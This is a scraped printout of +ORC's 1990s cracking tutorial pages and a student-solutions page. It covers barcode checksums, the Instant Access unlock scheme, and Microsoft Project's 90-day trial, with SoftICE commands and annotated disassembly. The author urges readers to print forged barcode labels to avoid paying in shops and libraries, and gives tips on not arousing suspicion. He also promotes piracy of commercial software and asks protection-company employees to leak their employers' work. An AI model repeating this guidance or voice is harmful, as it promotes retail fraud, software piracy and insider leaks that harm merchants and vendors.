2 General purpose API functions (always here on my table)...
BARCODE: 9 7 80078 81991 9
Let's see: we have a 9 7 8 = book
Then a 780078 as ABBABA and a 819919 as C
"Even" sum: 9+8+5+8+8+4 = 42 (even sum)
Then a 7+1+5+2+4+4= 23 and 23 * 3 = 69 (odd sum)
Then a 42+69=111
111 === 1
10 - 1 = 9 = checksum
Pattern = 9 = ABBABA

Well... what's the point of all this?


The point, my pupils, is that who DOES NOT KNOW is taken along
on a boat ride, who KNOWS and LEARNS can use his knowledge in
order to try to beat blue and black the loathsome consumistic
oligarchy where we are compelled to live. Try it out for
yourself... if you crack correctly and wisely your supermarket,
mall and library bills will be cut to almost zero.
Write a small program to print whichever codebar you fancy
(or whichever your mall uses) in whichever size on whichever sort
of label you (or better your targets) fancy... it's quickly done
with Visualbasic or Delphy... but you'll not find much on the Web
Alternatively you could also write, as I did long ago, a short
c program in dos, using a modified upper char set... and there
you are, have labels... see the world.
A small word of caution... crack only ONE item at time and
try it out first with the SAME label for the same product... i.e.

http://www.instinct.org/fravia/crack_c1.htm (5 of 10) [2/7/2001 2:53:43 PM]


Howtocr3.1

the correct code for that item, but on your own label. If it goes
through your program works good, if not, nobody will ever be able
to harm you. Anyway it never happens anything, never: the bar
code reading equipments have great tolerance, coz the scanners
must be able to recognize barcodes that have been printed on many
different medias. You should choose labels similar to the ones
effectively used only in order not to arise human suspects, coz
for all the scanner itself cares, your label could be pink with
green stripes and with orange hand-written, numbers. Mind you,
we are still just academically imagining hypothetical situations,
coz it would be extremely illegal to act in such an inconsiderate
manner.
CRACKING POWER! It's true for barcodes, for Telecom bills,
for Compuserve accounts, for Amexco cards, for banking cheques
(do you know what MICR is? Magnetic Ink Character Recognition...
the stylized little printing on the lower left of new cheques...
there is a whole cracking school working on it), for registration
numbers... you name it, they develope it, we crack it...
Begin with barcodes: it's easy, nice and pretty useful! Live
in opulence, with the dignity and affluence that should always
distinguish real crackers. Besides... you should see the
assortment of 'Pomerols' in my "Cave-a-vin" :=)

[INSTANT ACCESS]
The (c) Instant access routines are a commercial protection
scheme used to "unlock" complete commercial applications that
have been encrypted on CD-
ROMs which are distributed (mostly) through reviews.
This is an ideal cracking target: it's commercial software,
complete, uncrippled and of (relatively) prominent quality, that
you can get in tons for the price of a coke. Obviously this kind
of protection represents an ideal subject for our lessons. This
fairly intricate protection scheme has not yet been cracked by
anybody that I am aware of, anyway not publicly, therefore it's
an ideal candidate for a "strainer" to my university. I'll teach
you here how to crack it in three lessons, C.1, C.2 and C.3. I warn
you... it's a difficult cracking session, and this protection
represents quite an intellectual challenge. But if you are
seriously interested in our trade you will enjoy these lessons
more than anything else.
This cracking is intended as an "assignment" for my +HCU
"cracking university": you'll find inside lessons C.1 and C.2 a
relatively deep "introduction" to Instant access cracking. This
will teach you a lot anyway, and spare you hours of useless
roaming around, bringing you straight to the cracking point. But
I'll release the third part of this session, with the complete

http://www.instinct.org/fravia/crack_c1.htm (6 of 10) [2/7/2001 2:53:43 PM]


Howtocr3.1

solution (lesson C.3) on the Web only in october 1996, not a day
before. All the students that would like to apply to the Higher
Cracking University, opening on the web 01/01/1997, should work
in July, August and September (three months is more than enough
time) on this assignment. They should crack completely the
instant access scheme and send me their solutions, with a good
documentation of their cracking sessions, before 30/09/1996
(WATCH IT! You can crack this scheme in -at least- three
different paths, be careful and choose the *best* one. WATCH IT!
Some of the informations) in lesson C.1 and C.2 are slightly incorrect:
check it!).
There are four possibilities:
1) The candidate has not found the crack or his solution is
not enough documented or not enough viable... the candidate
is therefore not (yet) crack-able, he will not be admitted
to the +HCU 1997 curses, better luck in 1998;
2) The cracking solution proposed by the candidate is not as
good as mine (you'll judge for yourself in october) but it
works nevertheless... he'll be admitted at the 1997
courses;
3) The cracking solution of the candidate is more or less
equal to mine, he'll be admitted, personally monitored, and
he'll get all the material he needs to crack on higher
paths;
4) The cracking solution of the candidate is better than mine,
he'll be admitted, get all the material he wishes and asked
to teach us as well as study with us: "homines, dum docent,
discunt".

[Cracking Instant access]


The user that wants to "unlock" a software application
protected with (c) Instant Access must enter first of all a
REGISTRATION number string, which through a series of
mathematical manipulations gives birth to a special "product"
code. On the basis of this "product code" the user is asked to
phone the commercial protectors (and pay) in order to get a
special "unlock code" that will allow him to decrypt the relevant
software.
This kind of "passnumber" protection routines are widely
used for software unlocking, BBS access, server access, backdoor
opening and many other protection schemes. We have already seen
password cracks in different lessons of this tutorial (in
particular Lessons 3.1 and 3.2 for DOS and Lessons 8.1, 8.2 and
9.1 for WIN) albeit on a more simplistic scale: there it did
mostly not matter very much *HOW* you passed the protection: once
passed, you could have access to the application. This is not the

http://www.instinct.org/fravia/crack_c1.htm (7 of 10) [2/7/2001 2:53:43 PM]


Howtocr3.1

case with (c) Instant Access. Face it: it's a little boring, but
important that you learn how to defeat intricate protection
routines (you'll meet them often in the next years) and I believe
that the following example will give you a "feeling" for the
right cracking approach.
In this case we must not only "crack" this protection scheme
but also study it thoroughly in order to achieve our blessed
aims. This is a very good exercise: reverse disassembling will
teach you a lot of little tricks that you'll be able to use in
your other future cracking sessions.
Instant access (c) is a exceptionally widespread protection
scheme, and it should be relatively easy for you to gather some
encrypted software that has been protected with this method...
*DO IT QUICKLY!!* After the Web publishing of this lessons (I am
sending C.1 to 8 pages and 4 usenet groups on 25/06/1996) this
protection is obviously as dead as a Dodo. The "Accessors" guys
will have to conceive something smarter if they want to keep
selling "protections" to the lamer producers of "big" software.
BTW, if you are reading this and are working for some
commercial "protection" company, consider the possibility to
double cross your masters! Deliver me anonymously all the future
projects you are working on! That will amuse me, speed up the
advent of a true altruistic society and earn you the respect of
the better part of humanity.
As I said, many "huge" application are still protected with
this "Instant access" system. I have personally bought at least
7 or 8 "second hand" CD-ROMs packed full with Microsoft, Lotus,
Norton, Symantec, you name it, applications all "protected"
through this crap. The cost of this bunch of CD-ROMs was the
equivalent of a bottle of Dry Martini, maybe less. The same
software is sold, unlocked, to zombies and lusers for ludicrous
amounts of money.
Never buy CD-ROMs magazines when they appear! Be cool! Buy
them two or three months after the publishing date! Buy
"remainders" or "second hand" CD-ROM magazines "at kilo price"...
Come to think of it, never buy *anything* when it appears or when
some (paid) advertiser tells you to... remember that "trends",
"vogues", "fashions" and "modes" are only different names for the
whips that drill and chain the dull-witted slaves of this
loathsome society: "clever crackers consider cool, crack cheap,
cheat customary culture" (a rhetorical figure: an "Alliteration".
To defend yourself learn rhetoric... it's a more powerful and
more useful weapon than Kung-fu).
The "triple" password protection routine in (c) Instant
Access is very interesting from a cracker point of view. It's a
relatively complex scheme: I'll teach you to crack it in two

http://www.instinct.org/fravia/crack_c1.htm (8 of 10) [2/7/2001 2:53:43 PM]


Howtocr3.1

phases: First of all you must find the "allowed" registration


code, the one that "ignites" the "product code". We must crack
and understand this re_code first if we want to crack the rest.
Just for the records, I am cracking here (c) Action Instant
access version 1.0 (CD-ROM found on a old copy of "Personal
Computer World" of August 1994, packed full with encrypted Lotus,
Symantec, Claris and Wordperfect applications. Just to be sure
I crosschecked my results with another CD-ROM which also has
applications protected with (c) Instant Access: Paragon
Publishing's PC OFFICE: the protection scheme remains the same).

I am focusing for this lesson on the cracking of the specific


protection for the encrypted Symantec's Norton Utilities v.8.0.
Please refer to the previous lessons for the basic
techniques used in order to find the protection routine inside
our babe... for "low" cracking purposes you -basically- type a
number (in this case, where the input gets 10 numbers, we'll use
"1212-1212-12"), do your search inside the memory (s 30:0
lffffffff "your_string") and then set memory breakpoints on all
the relevant memory locations till winice pops (I know, I know,
buddies... there are more effective ways... but hold your mouth:
for now we'll keep them among us: let's make things a little
harder for the protectionists who read this... Besides: the old
approach works here flawlessly). After getting the Registration
window on screen the Winice standard procedure is:
:task ; how
:heap IABROWSE ; where & what
:hwnd IABROWSE ; get the Winhandle
:bpx [winhandle] WM_GETTEXT ; pinpoint code
:bpx GetProcAddress ; in case of funny routines
:dex 0 ds:dx ; let's see their name
:gdt ; sniff the selectors
:s 30:0 lffffffff "Your_input_string" ; search in 4 giga data
:bpr [all memory ranges for your string that are above 80000000]
and so on. (continued in lesson C.2)

Well, that's it for this lesson, reader. Not all lessons of my


tutorial are on the Web.
You 'll obtain the missing lessons IF AND ONLY IF you mail
me back (via anon.penet.fi) with some tricks of the trade I may
not know that YOU discovered. Mostly I'll actually know them
already, but if they are really new you'll be given full credit,
and even if they are not, should I judge that you rediscovered them
with your work, or that you actually did good work on them,
I'll send you the remaining lessons nevertheless. Your
suggestions and critics on the whole crap I wrote are also

http://www.instinct.org/fravia/crack_c1.htm (9 of 10) [2/7/2001 2:53:43 PM]


Howtocr3.1

welcomed.

E-mail +ORC
+ORC an526164@anon.penet.fi

http://www.instinct.org/fravia/crack_c1.htm (10 of 10) [2/7/2001 2:53:43 PM]


solutions

+HCU 1998

Strainer solutions
(Updated 15 september 1997)

Here are the solutions to the +HCU 1998 strainer, and the
names of the new +HCUkers...

If you check +ORC's lesson 4.2., You'll be able to see that the required solution to
the strainer should have consisted of four parts:

- Part 1: Finding MsMoney 3 demo (finding an old program)

This has been considerably facilitated by us, as I published on my page the old
french version of MsMoney I found myself and +gthorne inserted it inside his
orcpaks... an +HCU "bonus", therefore, to those few that have found the
ENGLISH version of it (for instance on Fidonet, which many of you probably
don't even know that exists)

- Part 2: The reason for the crack +ORC used for MS Project

- Part 3: Cracking MS Money 3 demo

- Part 4: Cracking MS Money 97 demo

All future +HCUkers may use the following badges wherever


they want (on their essays, on their pages, wherever)...

http://www.instinct.org/fravia/solution.htm (1 of 5) [2/7/2001 2:53:48 PM]


solutions

The "+" inside their handles, below, are only indicative,


promoted students are free to position them wherever they
want inside their handles.

Here follows what +ORC has decided:


Contributors that get in (and their GOOD solutions!)
(The text snippets are intended only as "aperitive" to these very interesting texts
:=)

1) +ReZiDeNt's solution
"...by the way, you were right about MS Money 3 demo - it was *very* hard to
find. I eventually found it after a lot of intensive and careful searching via
FIDONet, rather ironic considering it's decline due to the incredible success of
the Internet"

2) +Yoshi's solution
"...jnb 00470E07 ; this makes sure that you havent set your clock before the
installation code, change to jump just for the hell of it"

3) +Alt-F4's solution
"...The Call to 81:10AE calculates a number based on the date. The formula is
number=(year-1948)*512 + (month-1) * 32 + (day-1)"

4) +Toxine's solution
"...for those unfamiliar with Hiew (who?), press F3 to edit, position your cursor
then press TAB to switch into ASM coding. Now, can you feel its POWER!"

5) SiuL+Hacky's solution
"...it is important to know how the program gets the installation date. There are
two possibilities:
1) Get it once and store it (even with copies in memory).

http://www.instinct.org/fravia/solution.htm (2 of 5) [2/7/2001 2:53:48 PM]


solutions

2) Get it whenever you need it (even checking it with some copies).


The second one is safer, but less common. Try the first one, which i am going to
explain thoroughtly"

6) +Zer0's solution
"... I have actually done the cracking on MSMONEY 1.0 and just simply checked
if the later versions 3 and 5 have the same protection routines. (Of course they
have the same protections! Amazing!)"

7) iNCuBuS++' solution
"...All we have to do is to bypass the call to nagscreen opening routine. We can't
just noop it because it is referenced by the relocation table and the system will try
to correct the segment address of the call when it loads the program thus
corrupting any instruction we put there and the program will not run. So, we will
put a JMP immediately after the call to ShowWindow... ...+ORC's SOLUTION
ALSO DOESN'T WORK IN ALL CASES !!! It works if the current date is greater
than expiration date or if it is outside the range 1984 to 2049 ! If the current date
is lower than the installation date (but it doesn't go below 1984) protection will
react - the nagscreen will pop up and the program will terminate."

8) +heres' solution
"...But near the second address, no conditional jumps are present and
breakpointing the first you get a Protection Fault... We have a chance, make a
backtrace buffer. So breakpoint the only CS+C8:360F and re-enter your date.
You have to establish the buffer range, so type: bpr cs:0000 cs:360F T and
re-enter the date. With the SHOW command of SoftICE, you can see:"

9) +Aitor's solution
"...Ripping the encryption code we can write a little program to do the job (it may
help in future Micro$oft cracking sessions :)) ... here you got the TP/BASM code
(with a few little modifications you can get the C translation)"

A) +swann's solution
"...Nuff said about this truly ZEN crack of an intrinsically useless program. Don't
ask me why I've done this. I don't know... ...+orc suggested we nop this jump at
8.17e8 out. I don't know whom he is kidding, but certainly noone who's studied

http://www.instinct.org/fravia/solution.htm (3 of 5) [2/7/2001 2:53:48 PM]


solutions

his tutorials. Obviously, we _do_ want to take that jump, and therefore patch
"EB46" for "7246" at 8.17e8."

B) +Malattia's solution
"...Ah, I usually run Wdasm just ONE time to disasm the progs, then I save the
file and read it with LIST.COM... it's very fast! ...If you have Borland Resource
Workshop, give a look to dialog 0494hex, that is 1172. It is the "Avertissement de
limite de valid" we do not want to have to deal with!"

C) +Chineese's solution
Contributors that can get in if they complete their solution before the end of
November

+SNiKkEL, he has sent a solution which is partly correct, yet incomplete and not
"explaining" much

A+heist, he has sent a solution which is partly correct, yet incomplete

Lera+h, she has sent a solution which is partly correct, yet incomplete.
Contributors that wont get in this year

All other contributors, that do not get in, should understand why I decided this
way just looking at the above (good) solutions. Better luck next year. If you
believe this is injust, and if you are sure that you should get in, because you think
that your solution is as good as the solutions above (or even better in your
opinion), feel free to send a (motivated) protest to fravia+ or +gthorne. It will be
read and examined by +gthorne, fravia+ and +Sync, and I will accept their
opinion as binding.
+ORC

The new +HCUkers will be divided in "units".


+ORC's letter to the new +HCUkers ("A real university") will be published asap. +HCU 1998 lessons
will begin on 01/01/1998 with a message by +ORC ("New year, new tasks")
Any new +HCUker may ask any information to +ORC (or ask any tool to me, +gthorne or +Sync)

http://www.instinct.org/fravia/solution.htm (4 of 5) [2/7/2001 2:53:48 PM]


solutions

Back to +ORC's page


homepage links anonymity students' essays academy database tools
antismut counter measures cocktails search_forms mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/solution.htm (5 of 5) [2/7/2001 2:53:48 PM]


Howto42

_ L# # $5 B2 ^Z X X PZ PZ PZ PZ A.... 8 PZ The little boxes you see in the left corner


wind Microsoft's explorer down :-)

HOW TO CRACK, by +ORC, A TUTORIAL


Lesson 4 (2):Time protections, part 2
A little Micro$oft bashing :=)

[MS-WINPROJECT] [MS PUBLISHER 97] [MS-MONEY 94] [MS MONEY 97]

(Hic sunt tabulae: Best viewed with good old Courier New 8)

Well well well, my dear friends, it's April, the "opening"


month, when trees unfold and the womb of nature opens with young life...
about time we start with the REAL work, and what I mean is that we
begin damaging Microsoft interests... the real ones. I will therefore
teach you here how to crack Microsoft's ubiquitous "trial version
time protection".

The typical Micro$oft's trial limit (of three months) is a


clever marketing approach per se: I'm speaking of the "trial" version
of their programs that you are supposed to use and enjoy for 90 days,
until a screen reminds you that you WILL not be able to use it any more,
coz the 90 days are over, please pay. Note the clever touch of 90 (instead
of 30) days: three months are more than enough to get you real hooked on a
program, especially huge monstrosities of the complexity of MS overbloated
applications... it's a much better period than the usual "30 days"
flavour that we find around in common shareware.

Since Micro$oft makes the bulk of its money from software


sold to corporate executives, senior sparer and assorted yuppies, it
suits us well to crack as first example of this lesson, Microsoft PROJECT,
one of those ridiculous "yuppie" programs that allow you to "plan"
and "schedule" an activity or a project of your "team"... as if we
were all time-slaves like those idiots... besides I may as well use this
crap to program the nice "activities" of my +HCU's cracking units :=)

I'm therefore cracking here the 90 days trial version of


MSOFFICE WINDOWS PROJECT Version 4.1 of august 1995 which has the
protection hidden inside the monstrous WINPROJ.EXE (4.240.896 bytes of
overbloated bad programming). The error and protection messages dwell inside
winproj.DLG (overbloated dialogues of 1.179.822 bytes).
We'll begin with this somewhat "older" example of the ubiquitous
"MS-trial" protection scheme (from 1995), since, as I have already told
you elsewhere, the *history* and the *evolution* of protection schemes
are powerful additional WEAPONS, that a cracker can use to defeat

http://www.instinct.org/fravia/howto42.htm (1 of 32) [2/7/2001 2:54:07 PM]


Howto42

more complex schemes that may not be so evident if you cannot recognise
their "physiognomy" at the first glance (or if you do not yet "feel" them :=)
We'll crack in this lesson a Microsoft program from 1994, another one from
1995 (this first one) and two from 1997. I believe this should give you a
wide enough palette of MS-protections, and that with this knowledge you
should be able to crack every single piece of software Microsoft may throw
at you in the next couple of years (at least :=)
You'll see for instance that the "cmp eax,ecx" instruction
at the heart of some of these MS-schemes is a constant characteristic,
that you'll meet again and again, which differs from the typical "beggar off
on bad flag ax" setting that the shareware authors usually use.

A SMALL THEORETHICAL DIGRESSION


First of all, before entering the guts of MS-cracking, a small "theoretical"
digression.
From a cracker's point of view, the new "trend" to give away full time
limited versions of a software packages is extremely interesting:
once you defeat the time checking routines (... plural coz there may
be much more than one inside the same program) your work is done and
you'll immediately enjoy the full application.
The reason behind this trend (from password to time-trial)
is quite simple: password-serial number protections are useless on a Web
which abounds with free pirated serial number listings (I saw one with 54.000
different serial numbers-registration strings couples!) that anybody with
intelligence level "amoeba" can easily find. I do not like serial number
collectors: they do not teach anything, in my (admittely biased) opinion they
just steal... fact is anyway, that the mere existence of such huge
ready-made password listings has nuked any programmer's confidence in the
serial/string protection approach (whose cracking techniques I have explained
elsewhere in this tutorial), and this is the more true for "commercial"
(i.e. "non toy") applications.
You will find therefore, for big commercial application, the
"Cinderella" protections (you may use this app for 30 days) or
the "quiver" protections (you may use this app 30 times), or a combination of
these two kinds, or a combination of both kinds PLUS the registration
string/serial number protection method.
One of the (minor) problems for us nice crackers is that
with this kind of protections we may have some surprises later on... i.e. you
crack your target and it works fine... well past the date it should have
been crippled upon, WHEN YOU SET this DATE INSIDE YOUR OS but -alas!- it stops
miserably working WHEN THE REAL TIME "of the world" has passed that cap...
this has to do with OTHER protections, checking randomly, for instance, the
date of some UNRELATED FILES on your hard disk.
Obviously this does not concern us much... as soon as this
happen we crack this "second level" protection scheme too, happily drinking
another Martini-Wodka (use only Moskowskaja and add some Indian tonic
Schweppes and a zest of lemon if you want to taste something
that's really good) and forget the whole incident... but I had
to mention it right now because I honestly DO NOT KNOW YET if
some of the programs that I'll crack in these lessons do have or
not such additional protections, nor have I the time to feel if
there are other protections inside overbloated 5 million bytes

http://www.instinct.org/fravia/howto42.htm (2 of 32) [2/7/2001 2:54:07 PM]


Howto42

horrors once I have already found the first (and maybe only) one,
nor have I envy to wait 90 days just to see if something else
snaps... should it happen (which I DO NOT believe, seen how
primitive MS-protections look like) I'll then simply add the new
crack to this section, we'll see.
---------------------------------------------
Some elementary MUST KNOW when you crack time protections:
Date and Time stamps in the root directory (old flavour)
The root directory (in DOS) is a simple table of 32-byte
entries, defining each file on the root directory. Bytes 0-7 have
the file name, 8-10 have the file extension, 11 hydes the
attribute flags, 12-21 are at times used for other protection
tricks, 22-23 have the *TIME* stamp, 24-25 have the *DATE* stamp,
26-27 the starting cluster number and 28-31 the file size.
The date and time stamps can record any date from January
1, 1980 through December 31, 2099. The time stamp is accurate to
two seconds. The date and time stamps are each 2 byte values that
are recorded by using the following equations:
DATE = DAY+64*MONTH+512*(YEAR-1980)
TIME = SECONDS/2+32*MINUTES+2048*HOURS
In the time entry, the hour occupies the first 5 bits, the
minutes the next 6, and the second the last 5. The seconds are
actually stored as the number of seconds divided by 2, so the
clock is accurate to 2 seconds. In the date entry, the year
(subtracted from 1980... that is 0x7bc) is stored in the first
7 bits, the month in the next 4 and the day in the last 5 bits.
How do we recover these values? Here the commonest tricks:
seconds AND byte 22 with 11111; then multiply by 2
Minutes AND byte 23 with 111; then shift left 3 and
add byte 23 shifted right 5
Hours Shift byte 23 right 3
Day AND byte 24 with 11111
Month AND byte 25 with 1, Multiply by 8 and
add byte 24 shifted right 5
Year Add byte 25 to 1980 (0x7cb) and shift right 1
I hope you have the intelligence to understand by yourself
why these methods work... the point is that as soon as you see
something like that going on in the code you are examining, you
will know that they are fiddling with date or time stamps (may
be necessary, for instance, in order to reset the date and time
stamps of an opened file without leaving any trace behind).

How does a programmer fetch the date? He uses the _dos_getdate


function.
The _dos_getdate function uses system call 0x2A to get the
current system date. The date information is returned in a
dosdate_t structure pointed to by date.
Synopsis:
#include [dos.h]
void _dos_getdate( struct dosdate_t *date );

struct dosdate_t {

http://www.instinct.org/fravia/howto42.htm (3 of 32) [2/7/2001 2:54:07 PM]


Howto42

unsigned char day; /* 1-31 */


unsigned char month; /* 1-12 */
unsigned short year; /* 1980-2099 */
unsigned char dayofweek;/* 0-6 (0=Sunday) */
};

-------------------------------------------------------

AND NOW RUB YOUR HANDS: TO WORK!


And now rub your hands: to work! Fetch your copy of the
time limited version of Winproj.exe (you'll find it on the
web... many magazines in Europe have published it on their cover
CD at the beginning of this year... The one I use here is taken
from a second-hand French magazine I found in Basel some time
ago: PCMAG n.108)
Well how do we proceed?
As usual: Let's dead list everything (but you could get pretty
quickly to the "hollow" point of your target through winice, is
a matter of aesthetic choice, I prefer dead listing because it
is more "relaxed" but you may use a combination of both
approaches or whatever you like most).
First thing you notice is that the dead listing is HUGE:
more than 50 megabytes of text. You'll need a good wordprocessor
to handle that... Microsoft's last one, word version 7.0 does not
even accept such files, but look! Word 2 (the old version of
Word, 1992 vintage) does run them (almost) without problems (you
would not -obviously- have such problems under dos or linux).
It's quite ironic, I believe, that Word 7 cannot open such a
file, but on the contrary Word 2 ('92 version!) is capable of
doing it... this confirms what I always supposed: huge
overbloated programming is getting worse and worse... humanity
has probably already entered one of its many phases of decadence
:=)

LET'S SURPRISE THE PROTECTION SCHEME FROM BEHIND


We can get to the protection scheme of this target in many ways
(and there are yet many more... almost as many as you fancy).
Usually, to defeat these protections the traditional approach is
to set the OS date past the trial period, run the target,
individuate the nag screen as soon as it snaps, get the maximuml
information about it (comprised its pixel dimensions) and then
breakpoint it using some of these data) for instance (with
winice) bpx on MessageBox (MessageBoxA to be exact). Remember
that with Godot (Winice 3.0), you can use CONDITIONAL
EXPRESSIONS! Say that the hwnd command gave you 09017E as handle
for the nagscreen (this value will be different EVERY time you
run your target), then you can selective breakpoint on it with:
:bpx MessageBoxA IF ((ESP->4) == 09017E)
since all Win32 applications pass parameters on the stack
enetering a function and the first parameter has a positive
offset of 4 from the ESP register.
Then you track back to the responsible code and so on and so

http://www.instinct.org/fravia/howto42.htm (4 of 32) [2/7/2001 2:54:07 PM]


Howto42

on... since the protectionists are aware of these obvious "weak"


points in their schemes, their "defences" will be all
concentrated on this "path" (encrypted date compares far away
from the messagebox call, bogus jumps, fake routines etcetera)...
they'll try to defer people reverse backtracing to the protection
scheme from the nag screen.
We will therefore hack our way to these protections sneaking
in from more hidden, less used and and less obvious doors, like
(in this example) GetLocalTime or (as we'll see later) through
the various "Write and read" file routines (i.e. the _open,
_lseek and _read routines that the protection schemes use to
fetch from the registry (or from somewhere else) the encrypted
date of installation. The point is to take our target's
protection schemes by surprise, from "behind" :=)
OK: First of all... we have to do with a time protection,
duh, therefore GetLocalTime is a first bait we can jolly use,
let's see if we fish anything thattaway:
------------------------------------------------
* Referenced by CALLs at Addresses:
|:05024FBE, :05024FF0, :05035A05, :0506489C, :0511A2A4,
|:05167F6A, :05167FC1, :051F9E77, :05204C54, :05223F14,
|:05223F81, :05224013, :05271A72
|
:05024E77 55 push ebp
:05024E78 8BEC mov ebp, esp
:05024E7A 83EC10 sub esp, 00000010
:05024E7D 8D45F0 lea eax, [ebp-10]
:05024E80 50 push eax
:05024E81 FF15905E3C05 Call dword ptr [053C5E90]
*GetLocalTime,(Kernel32-E2h) ;HERE!
------------------------------------------------
PARAMETERS inside Windows' FUNCTIONS
After this call the program must save the time parameters: for
those of you that do not know anything, the typedef structure is
the following one... (VERY IMPORTANT FOR TIME PROTECTIONS! Learn
it by heart! It's used in many other various FileTime routines
too):
------------------------------------------------
WORD wYear
WOED wMonth
WORD wDayOfWeek
WORD wDay
WORD wHour
WORD wMinute
WORD wSecond
WORD wMilliseconds
------------------------------------------------
Why did we seek GetLocalTime? Because the protectionists have
to know somehow if the program run over the allowed time and,
while there are many other methods to do this, one of the most
simple is a check through good humble GetLocalTime... so we'll
begin from here, ready to check all other possibilities only if

http://www.instinct.org/fravia/howto42.htm (5 of 32) [2/7/2001 2:54:07 PM]


Howto42

we do not fish anything with this bait.

Examining the savings of the return values from this routine, as


with many other time routines, you'll find in your dead listing
something like this:

------------------------------------------------
CALL [KERNEL32!GetLocalTime]
mov dx, [EBP-10] that's the year, will be something like
7CD=1997
mov dl, [EBP-0E] the month... lower part of a register is enough
mov al, [EBP-0C] that's the day of the week, ditto
mov al, [EBP-0A] that's the day
mov dl, [EBP-08] that's the hour
mov al, [EBP-06] that's the minute
mov dl, [EBP-04] that's the second
and if somebody would care, you would have had also
mov dx, [EBP-02] that's the millisecond, but few time
protections care for that (which is stupid to say the least,
since so many ideas come immediately to the mind :=)
------------------------------------------------

I said "something like" the above, but things could differ


a little coz the count [EBP-xx] could be flawed by pushes and
then you would have something like -say- the year in [EBP-34]
and, accordingly, the month in [EBP-32] et cetera... anyway the
SERIE will always be respected, therefore you could also crack
these protection in a completely different (and easy) way, that
good old +ORC will now let you glimpse... simply set a breakpoint
on a user routine (study this part of winice documentation
WELL... you'll be able to crack almost ANYTHING with your own
breakpoint routines)... say when the target loads for instance
7D5h on ax OR on dx (you will not know which of both registers
the protection scheme use).. then simply run the program with the
changed os date 2005 (which is 7D5h) and see what happens...
you'll breakpoint smack in the middle of the protection scheme
:=)... Why use 2005 instead of 1997? Easy: we wont use the
current year (7CD=1997) nor the next couple of years, because the
protectionists oft use other unrelated variables with those same
values (say current year of release and a couple year more) *on
purpose*, to block these very attempts. But, as I said, we do
not need to use winice to crack this cram... bear with me and
see.
Let's be more technical: you have reached a level where you
have the right to UNDERSTAND exactly how to access parameters
(i.e. the fixed values that MUST be passed to a function) and
local variables (i.e. the values that the protectionists have
decided to use, say in order to compare or manipilate) inside
windows calls:
- If you set a breakpoint at the exact function address, for
example, :BPX GetFileTime, use ESP+(param#*4) to address
parameters, where param# is 1, 2, 3, or whichever parameter that

http://www.instinct.org/fravia/howto42.htm (6 of 32) [2/7/2001 2:54:07 PM]


Howto42

function calls... Since BOOL GetFileTime(HANDLE hFile, LPFILETIME


lpCreation, LPFILETIME lpLastAccess, LPFILETIME lpLastModified)
you'll easily know what is what.
- If you set a breakpoint INSIDE a function body (after the
full prologue PUSH EBP, MOVE EBP,ESP, SUB ESP,size (locals) has
been executed)use EBP+(param#*4)+4 to address parameters.
- Once the space for local variables is allocated on the
stack, the local variables can be addressed using a negative
offset from EBP. The first local variable is at EBP-4... with two
pointer local variables (typically dword sized) one will
therefore be at EBP-4 and the other will be at EBP-8.
Comprendes?
Enough... back to our calls to GetLocalTime... see how the
"centralised" call approach of windows helps us a lot... all the
calls of the program to this routine are here under our eyes...
look at the 13 CALL references, once more, (THIS IS IMPORTANT)
look at WHERE they come from:
* Referenced by CALLs at Addresses:
|:05024FBE, :05024FF0, :05035A05, :0506489C, :0511A2A4,
|:05167F6A, :05167FC1, :051F9E77, :05204C54, :05223F14,
|:05223F81, :05224013, :05271A72
|
:05024E77 55 push ebp
:05024E78 8BEC mov ebp, esp
:05024E7A 83EC10 sub esp, 00000010
:05024E7D 8D45F0 lea eax, [ebp-10]
:05024E80 50 push eax
:05024E81 FF15905E3C05 Call dword ptr [053C5E90]
*GetLocalTime,(Kernel32-E2h)

A LITTLE ZEN: FEELING THE CALLS OF THE SEA


Ok, let's see which sectors of our target do actually call our
bait GetLocalTime... look at the call references above! Out of
13 calls, Sectors "024F" and "167F" and "223F" call it twice,
whereby Sectors 035A, 0648, 11A2, 1F9E, 204C, 2240 and 271A call
it only once.
This may not mean anything, of course, but hey! on the other hand
it could be very interesting... clearly we'll examine FIRST what
happens in these "time-intensive-calling" parts of the code:
Let's begin.

1) "Sector 024F" calls GetLocalTime twice, why?

:first_call_snippet_(called_from_:0504A3F7)_calls_at_024FBE
:05024FA4 55 push ebp
:05024FA5 8BEC mov ebp, esp
:05024FA7 83EC0C sub esp, 0000000C
:05024FAA 53 push ebx
:05024FAB 8D45F4 lea eax, [ebp-0C]
:05024FAE 8B1D04452C05 *** mov ebx, [052C4504] ;get holyloc
:05024FB4 50 push eax
:05024FB5 885DFE mov [ebp-02], bl ;create holylow

http://www.instinct.org/fravia/howto42.htm (7 of 32) [2/7/2001 2:54:07 PM]


Howto42

:05024FB8 887DFF mov [ebp-01], bh ;create holyhigh


:05024FBB C1EB10 shr ebx, 10 ;create holyshr10
:05024FBE E8B4FEFFFF *** call 05024E77 GetLocalTime ;FIRST CALL
:05024FC3 8A45FE mov al , [ebp-02]
:05024FC6 3845F6 *** cmp [ebp-0A], al ;month=holylow?
:05024FC9 7512 jne 05024FDD ;flag 1
:05024FCB 8A45FF mov al , [ebp-01]
:05024FCE 3845F7 *** cmp [ebp-09], al ;day=holyhigh?
:05024FD1 750A jne 05024FDD ;flag 1
:05024FD3 66B80000 mov ax, 0000 ;flag 0
:05024FD7 66395DF4 *** cmp [ebp-0C], bx ;year=holyshr10?
:05024FDB 7404 je 05024FE1 ;keep flag 0

:05024FDD 66B80100 *** mov ax, 0001 (flag 1: day or month


or year differ)
:05024FE1 5B pop ebx
:05024FE2 8BE5 mov esp, ebp
:05024FE4 5D pop ebp
:05024FE5 C3 ret
:second_call_snippet_calls_at_5024FF0
:05024FE6 55 push ebp
:05024FE7 8BEC mov ebp, esp
:05024FE9 83EC08 sub esp, 00000008
:05024FEC 8D45F8 lea eax, [ebp-08]
:05024FEF 50 push eax
:05024FF0 E882FEFFFF *** call 05024E77 GetLocalTime ;SECONDCALL
:05024FF5 0FB64DFB *** movzx byte ptr ecx, [ebp-05] ;savepar
:05024FF9 0FB645FA *** movzx byte ptr eax, [ebp-06] ;savepar
:05024FFD C1E108 shl ecx, 08
:05025000 0BC8 or ecx, eax
:05025002 0FB745F8 *** movzx word ptr eax, [ebp-08] ;savepar
:05025006 C1E010 shl eax, 10
:05025009 8BE5 mov esp, ebp
:0502500B 0BC8 or ecx, eax
:0502500D 5D pop ebp
:0502500E 890D04452C05 *** mov [052C4504], ecx ;save in holyloc
:05025014 C3 ret

Quite interesting... a flagging (that could be a green


light) and some parameters saved and compared within a holy
location... why does this "sector 024F" call? Is it just checking
